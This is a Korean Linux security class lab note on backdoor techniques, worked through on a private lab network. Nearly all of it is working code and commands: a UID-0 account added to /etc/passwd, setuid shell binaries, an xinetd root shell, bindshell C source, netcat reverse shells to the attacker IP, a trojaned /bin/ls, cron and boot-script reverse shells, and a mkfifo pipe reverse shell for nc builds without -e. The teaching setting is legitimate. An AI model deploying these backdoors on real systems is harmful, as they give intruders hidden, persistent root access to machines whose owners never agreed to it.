o 리눅스의 공격기법 분석 백도어 종류 1. passwd 백도어 - /etc/passwd 에 숨겨서 나중에 다시 접속을 할 때 사용한다. # useradd -u 0 r00t # useradd -o -u 0 r00t # passwd r00t # ssh r00t@localhost r00t@localhost's password: Last login: Wed Jul 29 21:21:42 2015 from 192.168.56.1 # id uid=0(root) gid=551(r00t) groups=551(r00t) ~~~~~~~~~~~ 2. Set-UID 백도어 - 일반 유저가 실행파일을 실행시키면 관리자 권한으로 변경된다. # useradd testuser # cd ~testuser # vi backdoor.c -- backdoor.c -- #include <stdio.h> #include <unistd.h> int main() { setuid(0); // uid 를 0으로 변경한다. execl("/bin/bash", "bash", (char*) 0); // /bin/bash 를 실행한다. return 0; } -- backdoor.c -- # gcc -o backdoor backdoor.c # strip backdoor # chmod u+s backdoor # mv backdoor /lib/ # su - testuser $ id uid=527(testuser) gid=527(testuser) groups=527(testuser) $ ls -l /lib/backdoor -rwsr-xr-x 1 root r00t 3228 Jul 29 21:32 /lib/backdoor ~~~~ $ /lib/backdoor # id uid=0(root) gid=527(testuser) groups=527(testuser) ~~~~~~~~~~~ - /bin/vi 를 setuid 권한을 부여하고 특정 파일로 복사한 경우 # ls -l /bin/vi -rwxr-xr-x 1 root root 594740 Mar 6 2011 /bin/vi # cp /bin/vi /lib/libksw.so # chmod 4755 /lib/libksw.so # ls -l /lib/libksw.so -rwsr-xr-x 1 root root 594740 Jul 29 21:39 /lib/libksw.so # su - testuser $ /lib/libksw.so /etc/shadow : : 3. xinetd backdoor 대응방안 : 방화벽으로 서비스 포트만 열어놓아야 한다. # cd /etc/xinetd.d # vi shellbackdoor -- shellbackdoor -- service shellbackdoor { disable = no socket_type = stream wait = no user = root server = /bin/bash <-- server_args = -i <-- log_on_failure += USERID } -- shellbackdoor -- # vi /etc/services -- /etc/services -- : : shellbackdoor 20004/tcp -- /etc/services -- # /etc/init.d/xinetd restart # netstat -nltp | grep 20004 tcp 0 0 0.0.0.0:20004 0.0.0.0:* LISTEN 14429/xinetd # iptables -F # telnet localhost 20004 Attacker(56.240)에서 Victim(56.200)으로 nc로 접속해보자. [Attacker(56.240) ~]# ifconfig eth1 | grep inet inet addr:192.168.56.240 Bcast:192.168.56.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:feb8:6671/64 Scope:Link [Attacker(56.240) ~]# nc 192.168.56.200 20004 [Victim(56.200) /]# ifconfig eth1 | grep net eth1 Link encap:Ethernet HWaddr 08:00:27:E4:22:0F inet addr:192.168.56.200 Bcast:192.168.56.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fee4:220f/64 Scope:Link [root@localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 4. Standalone 방식의 백도어 o bindshell # cd /usr/lib # vi bindshell.c -- bindshell.c -- #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int server, client; struct sockaddr_in serv_addr; int main(int argc, char *argv[]) { int port = atoi(argv[1]); if( fork() == 0 ) { serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(port); server = socket(2,1,6); bind(server,(struct sockaddr *)&serv_addr,0x10); listen(server,1); client = accept(server,0,0); dup2(client,0); dup2(client,1); dup2(client,2); execl("/bin/sh","sh",0); } return 0; } -- bindshell.c -- # gcc -o bindshell.so bindshell.c # ./bindshell.so 5000 # netstat -nltp | grep 5000 # Attacker(56.240)에서 Victim(56.200)으로 nc로 접속해보자. [Attacker(56.240) ~]# telnet 192.168.56.200 5000 or [Attacker(56.240) ~]# nc 192.168.56.200 5000 !!!미션!!! 56.200으로 공격자가 접속해서 명령어를 실행할 것!!! telnet : 명령어; nc : 명령어 o reverse shell 자료실 -> 리눅스 보안 -> netcat 업로드 - bindshell을 테스트하기 위해서 방화벽을 실행한 상태이다. [Victim(56.200) ~]# iptables -A OUTPUT -m state --state INVALID -j DROP [Victim(56.200) ~]# iptables -A INPUT -m state --state INVALID -j DROP [Victim(56.200) ~]# iptables -A OUTPUT -m state --state INVALID -j DROP [Victim(56.200) ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT [Victim(56.200) ~]# iptables -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT [Victim(56.200) ~]# iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT [Victim(56.200) ~]# iptables -A INPUT -j DROP [Victim(56.200) ~]# iptables -nL Chain INPUT (policy ACCEPT) target prot opt source destination DROP all -- 0.0.0.0/0 0.0.0.0/0 state INVALID ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80 DROP all -- 0.0.0.0/0 0.0.0.0/0 [Victim(56.200) ~]# iptables -nL OUTPUT Chain OUTPUT (policy ACCEPT) target prot opt source destination DROP all -- 0.0.0.0/0 0.0.0.0/0 state INVALID - Victim의 백도어가 실행된 상태(포트가 열린 상태)에서 Attacker 가 Victim 내부로 접속할려고 했지만 방화벽이 있는 상태이기 때문에 Victim 내부로 접속할 수 없다. 아래는 열린 포트와 Victim 으로 접속하는 Attacker 의 모습이다. [Victim(56.200) lib]# cd /usr/lib [Victim(56.200) lib]# ./bindshell.so 5000 [Victim(56.200) lib]# netstat -nlt | grep 5000 tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN [Attacker(56.240) ~]# nc 192.168.56.200 5000 pwd <-- 명령어가 X ls <-- 명령어가 X wpd <-- 명령어가 X 연결형태 : reverse 연결 Attacker : 5000 번 포트를 오픈 Victim : 5000 번 포트로 접속 (쉘을 가지고 간다) [Attacker(56.240) ~]# nc -l -p 5000 [Victim(56.200) ~]# ./netcat -e /bin/sh 192.168.56.240 5000 [Attacker(56.240) ~]# nc -vv -l -p 5000 listening on [any] 5000 ... connect to [192.168.56.240] from victim [192.168.56.200] 54314 pwd /root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) ifconfig eth1 eth1 Link encap:Ethernet HWaddr 08:00:27:E4:22:0F inet addr:192.168.56.200 Bcast:192.168.56.255 Mask:255.255.255.0 : : !!! 미션 !!! 공격자 IP주소로 자동으로 연결할 수 있게 해볼 것!!! 연결형태 : reverse 연결 Attacker : 5000 번 포트를 오픈 Victim : 5000 번 포트로 접속 (쉘을 가지고 간다) 사용자가 자동으로 접속할 수 있는 방법을 간단하게 생각!!! - 일반 유저가 아래처럼 공격자 IP주소로 직접 접근하는 일은 없을 것이다. 그렇다면 어떻게 공격자의 IP주소로 연결을 할 것인가 ??? [Victim(56.200) ~]# ./netcat -e /bin/sh 192.168.56.240 5000 [Attacker(56.240) ~]# nc -vv -l -p 5000 listening on [any] 5000 .. [Victim(56.200) ~]# mv /bin/ls /bin/ls2 [Victim(56.200) ~]# vi /bin/ls.c -- /bin/ls.c -- #include <stdio.h> int main() { system("/bin/ls2 --color=tty"); system(" ./netcat -e /bin/sh 192.168.56.240 5000& 2>/dev/null >&2"); return 0; } -- /bin/ls.c -- [Victim(56.200) ~]# gcc -o /bin/ls /bin/ls.c [Victim(56.200) ~]# ls : : [Attacker(56.240) ~]# nc -vv -l -p 5000 listening on [any] 5000 ... connect to [192.168.56.240] from victim [192.168.56.200] 54316 pwd /root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 5. cronjob 백도어 새벽 5시 30분에 netcat을 이용해서 Attacker(56.240:5000)으로 접속하게 설정하라. -- /etc/crontab -- 30 5 * * * root /root/netcat -e /bin/sh 192.168.56.240 5000 -- /etc/crontab -- - Attacker는 포트를 열고 대기한다. [Attacker(56.240) ~]# nc -vv -l -p 5000 listening on [any] 5000 ... - 테스트를 위해 시간을 설정한다. [Victim(56.200) ~]# date 080505292015 Wed Aug 5 05:29:00 KST 2015 - 1분 후에 Attacker로 접속되는 것을 확인할 수 있다. [Attacker(56.240) ~]# nc -vv -l -p 5000 listening on [any] 5000 ... connect to [192.168.56.240] from victim [192.168.56.200] 53982 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t 6. 부팅용 백도어 - 부팅시 데몬처럼 명령어를 실행하는 백도어 - 백도어 연결이 데몬스크립트 안쪽에 넣을 수도 있다. /etc/rc.local /etc/rc.sysinit <-- /etc/init.d/sshd /etc/init.d/mysqld : : [Attacker(56.240) ~]# nc -vv -l -p 5000 listening on [any] 5000 ... [Victim(56.200) ~]# vi /etc/rc.sysinit -- /etc/rc.sysinit -- : : /root/netcat 192.168.56.240 5000 -e /bin/sh > /dev/null 2>&1 -- /etc/rc.sysinit -- [Victim(56.200) ~]# reboot : : 7. 다양한 애플리케이션 백도어 8. 커널 백도어 ========================================================================== LAB> 2:10분 까지 관련 자료를 찾아서 root 권한을 획득하시오. 기사 참고 : http://dailysecu.com/news_view.php?article_id=4380 취약점의 종류는 무엇인가 ? - perf_swevent_init function 어디서 취약점이 존재하는가 ? - 커널에서 존재 공격코드는 어디서 찾을 수 있는가 ? - 6.3 커널 취약점!!! root 권한을 획득!!! root / 고승욱! ========================================================================== ========================================================================== LAB> rpm 의 nc 패키지의 -e 옵션이 비활성화 되어 있으므로 Attacker 연결이 안되는 것을 연결시키는 미션!!! Hint : 파이프, 출력리다이렉션, /bin/sh 등의 여러 조합을 이용해야 한다. [Attacker(56.240) ~]# nc -vv -l -p 5000 listening on [any] 5000 ... - -e 옵션이 비활성화되어 설치되었기 때문에 Attacker에 리버스연결을 할 수 없는 것이다. [Victim(56.200) ~]# rm -f netcat [Victim(56.200) ~]# nc -e /bin/sh 192.168.56.240 5000 nc: invalid option -- e usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] - 통신용 파이프 ncpipe 를 생성한다. [Victim(56.200) pts/0]# mkfifo ncpipe [Victim(56.200) pts/0]# ls -l ncpipe prw-r--r-- 1 root root 0 Aug 5 07:07 ncpipe - pipe 테스트 [Victim(56.200) pts/0]# cat /etc/fstab > ncpipe [Victim(56.200) pts/0]# cat < ncpipe LABEL=/ / ext3 defaults 1 1 LABEL=/data /data ext3 defaults 1 2 LABEL=/data2 /data2 ext3 defaults 1 2 LABEL=/home /home ext3 defaults,us : : [Victim(56.200) pts/0]# tty /dev/pts/0 [Victim(56.200) pts/0]# nc 192.168.56.240 5000 ls pwd [Victim(56.200) pts/1]# LANG=C [Victim(56.200) pts/1]# pstree -p | grep bash |-sshd(2533)-+-sshd(3188)---bash(3191)---nc(23437) <-- nc | `-sshd(23403)---bash(23405)-+-grep(23450) [Victim(56.200) pts/1]# ls -l /proc/23437/fd total 0 lrwx------ 1 root root 64 Aug 5 07:12 0 -> /dev/pts/0 lrwx------ 1 root root 64 Aug 5 07:12 1 -> /dev/pts/0 lrwx------ 1 root root 64 Aug 5 07:12 2 -> /dev/pts/0 lrwx------ 1 root root 64 Aug 5 07:12 3 -> socket:[42185] <-- 여기!!! - 0< ncpipe 추가해서 분석한다. [Victim(56.200) pts/0]# nc 192.168.56.240 5000 0< ncpipe [Victim(56.200) pts/1]# pstree -p | grep bash |-sshd(2533)-+-sshd(3188)---bash(3191)---bash(23491) <-- bash | `-sshd(23403)---bash(23405)-+-grep(23494) [Victim(56.200) pts/1]# ls -l /proc/23491/fd total 0 lrwx------ 1 root root 64 Aug 5 07:18 0 -> /dev/pts/0 lrwx------ 1 root root 64 Aug 5 07:18 1 -> /dev/pts/0 lrwx------ 1 root root 64 Aug 5 07:18 2 -> /dev/pts/0 lrwx------ 1 root root 64 Aug 5 07:18 255 -> /dev/pts/0 - 0<ncpipe | /bin/sh 를 추가해서 분석한다. [Victim(56.200) pts/0]# nc 192.168.56.240 5000 0< ncpipe | /bin/sh [Victim(56.200) pts/1]# pstree -p | grep bash |-sshd(2533)-+-sshd(3188)---bash(3191)-+-bash(23501) | `-sshd(23403)---bash(23405)-+-grep(23506) [Victim(56.200) pts/1]# ls -l /proc/23501/fd total 0 lrwx------ 1 root root 64 Aug 5 07:22 0 -> /dev/pts/0 l-wx------ 1 root root 64 Aug 5 07:22 1 -> pipe:[42793] <-- lrwx------ 1 root root 64 Aug 5 07:22 2 -> /dev/pts/0 lrwx------ 1 root root 64 Aug 5 07:22 255 -> /dev/pts/0 [Victim(56.200) pts/0]# nc 192.168.56.240 5000 0< ncpipe | /bin/sh 1> ncpipe [Victim(56.200) pts/1]# pstree -p | grep bash |-sshd(2533)-+-sshd(3188)---bash(3191)-+-nc(23542) | `-sshd(23403)---bash(23405)-+-grep(23545) [Victim(56.200) pts/1]# ls -l /proc/23542/fd total 0 lr-x------ 1 root root 64 Aug 5 07:25 0 -> /root/ncpipe l-wx------ 1 root root 64 Aug 5 07:25 1 -> pipe:[42954] <-- lrwx------ 1 root root 64 Aug 5 07:25 2 -> /dev/pts/0 lrwx------ 1 root root 64 Aug 5 07:25 3 -> socket:[42956] <-- [Attacker(56.240) ~]# nc -vv -l -p 5000 listening on [any] 5000 ... connect to [192.168.56.240] from victim [192.168.56.200] 52458 pwd /root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh ifconfig eth1 eth1 Link encap:Ethernet HWaddr 08:00:27:E4:22:0F inet addr:192.168.56.200 Bcast:192.168.56.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fee4:220f/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:6267 errors:0 dropped:0 overruns:0 frame:0 TX packets:5192 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:539163 (526.5 KiB) TX bytes:719630 (702.7 KiB) ==========================================================================
Linux/보안